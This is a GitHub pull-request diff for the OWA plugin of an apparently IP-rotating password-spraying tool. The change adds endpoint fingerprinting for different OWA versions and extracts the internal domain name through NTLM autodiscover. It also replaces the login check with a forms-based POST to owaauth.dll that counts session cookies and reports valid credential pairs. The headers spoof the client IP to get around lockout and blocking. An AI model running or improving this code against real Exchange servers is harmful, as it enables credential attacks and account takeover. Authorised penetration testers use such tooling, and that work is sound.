Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
32 changes: 30 additions & 2 deletions plugins/owa/__init__.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,29 @@
import requests
import utils.utils as utils
from urllib.parse import urlparse
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

paths = {'OWA version 2003': '/exchweb/bin/auth/owaauth.dll',
'OWA version 2007': '/owa/auth/owaauth.dll',
'OWA version > 2007': '/owa/auth.owa'}


# check to see which owa endpoint is in use
def check_url(url):
r = requests.get(url, verify=False)
return r.status_code


def check_path(url):
current_path = urlparse(url).path
if not current_path or current_path == "/":
srv = url.rstrip('/') # just in case
for key, value in paths.items():
url_value = srv + value
if check_url(url_value) == 200:
output = f"Looks like {key}. Adding {value} to the end of the target"
return value, output


def validate(pluginargs, args):
#
Expand Down Expand Up @@ -30,17 +52,23 @@ def testconnect(pluginargs, args, api_dict, useragent):

headers = utils.add_custom_headers(pluginargs, headers)

server_url = pluginargs['url']
owa_url = check_path(pluginargs['url'])
owa_server = url + owa_url[0].strip("/") # add the owa endpoint and eliminate double // at the end of the fireprox url

resp = requests.get(url, headers=headers, verify=False)

if resp.status_code == 504:
output = "Testconnect: Connection failed, endpoint timed out, exiting"
success = False
else:
output = "Testconnect: Fingerprinting host... Internal Domain name: {domain}, continuing"
output = "Testconnect: Fingerprinting host... Internal Domain name: {domain}, continuing. " + owa_url[1]

if success:
domainname = utils.get_owa_domain(url, "/autodiscover/autodiscover.xml", useragent)
domainname = utils.get_owa_domain(server_url, "/autodiscover/autodiscover.xml", useragent)
output = output.format(domain=domainname)
pluginargs['domain'] = domainname
pluginargs['url'] = owa_server
pluginargs['server_url'] = server_url # required for the payload in owa.py

return success, output, pluginargs
55 changes: 35 additions & 20 deletions plugins/owa/owa.py
Original file line number Diff line number Diff line change
Expand Up @@ -17,40 +17,55 @@ def owa_authenticate(url, username, password, useragent, pluginargs):
amazon_id = utils.generate_id()
trace_id = utils.generate_trace_id()

''' For some reason this header causes the request to fail with 400 errors:
"Content-Type": "text/xml"
'''
headers = {
'User-Agent' : useragent,
"X-My-X-Forwarded-For" : spoofed_ip,
"x-amzn-apigateway-api-id" : amazon_id,
"X-My-X-Amzn-Trace-Id" : trace_id,

"Content-Type" : "text/xml"
"X-My-X-Amzn-Trace-Id" : trace_id
}

headers = utils.add_custom_headers(pluginargs, headers)

try:
server = pluginargs['url']

resp = requests.get(f"{url}/autodiscover/autodiscover.xml", headers=headers, auth=HttpNtlmAuth(username, password), verify=False)
''' from https://github.com/Greenwolf/Spray '''
"""
Check id credentials are valid against the target server
:return: number of cookies set by server or 0. In case of successfull login, number of cookies will be > 1 !
"""
if not('\\' in username) and not('@' in username):
username = pluginargs['domain'] + "\\" + username

if resp.status_code == 200:
data_response['output'] = f"[+] SUCCESS: Found credentials: {username}:{password}"
data_response['result'] = "success"
data_response['valid_user'] = True

elif resp.status_code == 500:
data_response['output'] = f"[*] POTENTIAL: Found credentials, but server returned 500: {username}:{password}"
data_response['result'] = "potential"
data_response['valid_user'] = True
payload = {'destination': pluginargs['server_url'], # has to be the original plugin url, set in __init__.py
'flags': 4,
'forcedownlevel': 0,
'username': username,
'password': password,
'passwordText': '',
'isUtf8': 1}

elif resp.status_code == 504:
data_response['output'] = f"[*] POTENTIAL: Found credentials, but server returned 504: {username}:{password}"
data_response['result'] = "potential"
data_response['valid_user'] = True
try:

resp = requests.post(server, data=payload, headers=headers, verify=False, allow_redirects=False)

num_cookies = 4
if resp.status_code == 302:
cookies = resp.cookies
cookie_num = len(cookies)
if cookie_num >= num_cookies:
data_response['output'] = f"[+] SUCCESS: Found credentials: {username}:{password}"
data_response['result'] = "success"
data_response['valid_user'] = True
else:
data_response['output'] = f"[-] FAILURE: Invalid credentials: {username}:{password}"
data_response['result'] = "failure"
else:
data_response['output'] = f"[-] FAILURE: Invalid credentials: {username}:{password}"
data_response['result'] = "failure"

data_response['output'] = f"[-] FAILURE: Invalid credentials: {username}:{password}"
data_response['result'] = "failure"

except Exception as ex:
data_response['error'] = True
Expand Down
5 changes: 4 additions & 1 deletion utils/utils.py
Original file line number Diff line number Diff line change
Expand Up @@ -47,7 +47,10 @@ def get_owa_domain(url, uri, useragent):

r = requests.post("{url}{uri}".format(url=url,uri=uri), headers=auth_header, verify=False)
if r.status_code == 401:
ntlm_info = ntlmdecode(r.headers["x-amzn-Remapped-WWW-Authenticate"])
''' [!] Having trouble getting the x-amzn-remapped-www-authenticate header to work with the OWA plugin
www-authenticate gets us what we want - not sure of the implications of this
'''
ntlm_info = ntlmdecode(r.headers["WWW-Authenticate"])
return ntlm_info["NetBIOS_Domain_Name"]
else:
return "NOTFOUND"
Expand Down